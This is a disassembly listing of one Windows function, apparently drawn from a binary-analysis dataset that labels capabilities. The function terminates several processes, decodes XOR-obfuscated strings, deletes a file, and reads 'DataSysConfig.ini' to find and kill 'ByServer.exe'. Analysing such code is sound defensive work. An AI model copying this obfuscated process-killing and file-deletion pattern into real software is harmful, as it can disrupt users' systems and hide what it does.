Function at 0x402960
Capabilities:
Delete file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
mov eax, dword [0x45166c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00402d50
mov eax, dword [0x454434]
mov ecx, dword [eax + 0xc]
push ecx
call fcn.00402c40
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
xor ebx, ebx
push ebx
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp eax, ebx
je 0x4029a5
push ebx
push eax
call edi
mov edx, dword [0x454434]
mov eax, dword [edx + 8]
push eax
call fcn.00402c40
push eax
push ebx
push 1
call esi
cmp eax, ebx
je 0x4029c2
push ebx
push eax
call edi
mov ecx, dword [0x454434]
mov edx, dword [ecx + 0x14]
push edx
call fcn.00402c40
push eax
push ebx
push 1
call esi
cmp eax, ebx
je 0x4029df
push ebx
push eax
call edi
mov ecx, 7
mov esi, str.C_Svjaual_EmictRwOekaCeri_
lea edi, [ebp - 0x260]
rep movsd dword es:[edi], dword [esi]
push 0xdd
lea eax, [ebp - 0x243]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.0042cae0
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x260]
cmp byte [ebp - 0x260], bl
je 0x402a26
xor byte [ecx], al
inc eax
inc ecx
cmp eax, 8
jne 0x402a22
xor eax, eax
cmp byte [ecx], bl
jne 0x402a17
mov ecx, dword [str.SmFqrc]
mov edx, dword [0x446e60]
mov ax, word [0x446e64]
push 0xf0
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x15a]
push ebx
push ecx
mov dword [ebp - 0x160], edx
mov word [ebp - 0x15c], ax
call fcn.0042cae0
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x164]
cmp byte [ebp - 0x164], bl
je 0x402a7f
xor byte [ecx], al
inc eax
inc ecx
cmp eax, 8
jne 0x402a7b
xor eax, eax
cmp byte [ecx], bl
jne 0x402a70
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x2a0]
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x2a4]
mov dword [ebp - 0x2a4], edx
mov byte [ebp - 0x2a0], bl
call fcn.00413e70
mov ecx, dword [ebp - 0x2a4]
push ecx
call fcn.00402c40
push eax
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
je 0x402ac8
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x2e4]
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x2e8]
mov dword [ebp - 0x2e8], edx
mov byte [ebp - 0x2e4], bl
call fcn.00413e70
mov ecx, dword [ebp - 0x2a4]
push ecx
mov eax, esi
call fcn.00413d70
mov edx, dword [ebp - 0x2e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x370]
call fcn.00414a80
mov edx, 0x4468c1
mov ecx, 0x446eb4
lea ebx, [ebp - 0x370]
call fcn.00414060
mov ecx, dword [ebp - 0x370]
lea eax, [ebp - 0x328]
mov dword [ebp - 0x32c], eax
push ecx
or eax, 0xffffffff
lea esi, [ebp - 0x32c]
mov byte [ebp - 0x328], 0
call fcn.00413e70
push str.DataSysConfig.ini
mov eax, esi
call fcn.00413d70
push 0x64
lea edx, [ebp - 0x68]
push 0
push edx
call fcn.0042cae0
mov eax, dword [ebp - 0x32c]
add esp, 0xc
push eax
push 0x64
lea ecx, [ebp - 0x68]
push ecx
push str.ByServer.exe
push str.RunSetup
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x68]
push edx
call fcn.00402c40
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
pop edi
pop esi
pop ebx
test eax, eax
je 0x402bbf
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x32c]
lea ecx, [ebp - 0x328]
cmp eax, ecx
je 0x402bd8
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [ebp - 0x370]
lea edx, [ebp - 0x36c]
cmp eax, edx
je 0x402bf1
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [ebp - 0x2e8]
lea ecx, [ebp - 0x2e4]
cmp eax, ecx
je 0x402c0a
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x2a0]
cmp eax, edx
je 0x402c23
push eax
call fcn.004244b1
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042396b
mov esp, ebp
pop ebp
ret